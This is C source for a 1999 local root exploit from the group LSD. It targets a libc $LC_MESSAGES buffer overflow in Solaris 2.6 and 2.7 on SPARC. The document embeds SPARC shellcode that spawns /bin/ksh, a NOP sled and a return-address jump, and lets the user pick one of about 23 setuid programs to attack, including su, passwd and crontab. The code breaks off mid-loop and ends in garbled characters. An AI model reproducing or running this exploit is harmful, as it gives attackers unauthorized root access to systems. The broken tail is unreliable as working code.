/*## copyright LAST STAGE OF DELIRIUM aug 1999 poland *://lsd-pl.net/ #*/
/*## libc.so $LC_MESSAGES #*/
#define NOPNUM 5000
#define ADRNUM 3000
char shellcode[]=
"\x20\xbf\xff\xff" /* bn,a */
"\x20\xbf\xff\xff" /* bn,a */
"\x7f\xff\xff\xff" /* call */
"\x90\x03\xe0\x20" /* add %o7,32,%o0 */
"\x92\x02\x20\x10" /* add %o0,16,%o1 */
"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */
"\xd0\x22\x20\x10" /* st %o0,[%o0+16] */
"\xc0\x22\x20\x14" /* st %g0,[%o0+20] */
"\x82\x10\x20\x0b" /* mov 0xb,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh"
;
char jump[]=
"\x81\xc3\xe0\x08" /* jmp %o7+8 */
"\x90\x10\x00\x0e" /* mov %sp,%o0 */
;
static char nop[]="\x80\x1c\x40\x11";
main(int argc,char **argv){
char buffer[10000],adr[4],*b,*envp[3];
int i,n=-1;
printf("copyright LAST STAGE OF DELIRIUM aug 1999 poland //lsd-pl.net/\n");
printf("libc.so $LC_MESSAGES for solaris 2.6 2.7 sparc\n\n");
if(argc!=2){
printf("usage: %s {list_devices|deallocate|traceroute|mkdevmaps|"
"mkdevalloc|allocate|volrmmount|volcheck|nispasswd|yppasswd|"
"su|rcp|fdformat|eject|crontab|atrm|atq|at|ufsdump|netpr|rlogin|"
"passwd|rsh}\n",argv[0]);
exit(-1);
}
if(!strcmp(argv[1],"list_devices")) n=0;
if(!strcmp(argv[1],"deallocate")) n=1;
if(!strcmp(argv[1],"traceroute")) n=2;
if(!strcmp(argv[1],"mkdevmaps")) n=3;
if(!strcmp(argv[1],"mkdevalloc")) n=4;
if(!strcmp(argv[1],"allocate")) n=5;
if(!strcmp(argv[1],"volrmmount")) n=6;
if(!strcmp(argv[1],"volcheck")) n=7;
if(!strcmp(argv[1],"nispasswd")) n=8;
if(!strcmp(argv[1],"yppasswd")) n=9;
if(!strcmp(argv[1],"su")) n=10;
if(!strcmp(argv[1],"rcp")) n=11;
if(!strcmp(argv[1],"fdformat")) n=12;
if(!strcmp(argv[1],"eject")) n=13;
if(!strcmp(argv[1],"crontab")) n=14;
if(!strcmp(argv[1],"atrm")) n=15;
if(!strcmp(argv[1],"atq")) n=16;
if(!strcmp(argv[1],"at")) n=17;
if(!strcmp(argv[1],"ufsdump")) n=18;
if(!strcmp(argv[1],"netpr")) n=19;
if(!strcmp(argv[1],"rlogin")) n=20;
if(!strcmp(argv[1],"passwd")) n=21;
if(!strcmp(argv[1],"rsh")) n=22;
if(n==-1) exit(-1);
*((unsigned long*)adr)=(*(unsigned long(*)())jump)()+3060+2500;
envp[0]=&buffer[0];
envp[1]=&buffer[6000];
envp[2]=0;
b=&buffer[0];
sprintf(b,"xxx=");
b+=4;
for(i=0;i |
| |
|
| | | |
|
|
|
|
|
|
| |
ÑÇÖÞÅ·ÃÀÔÚÏß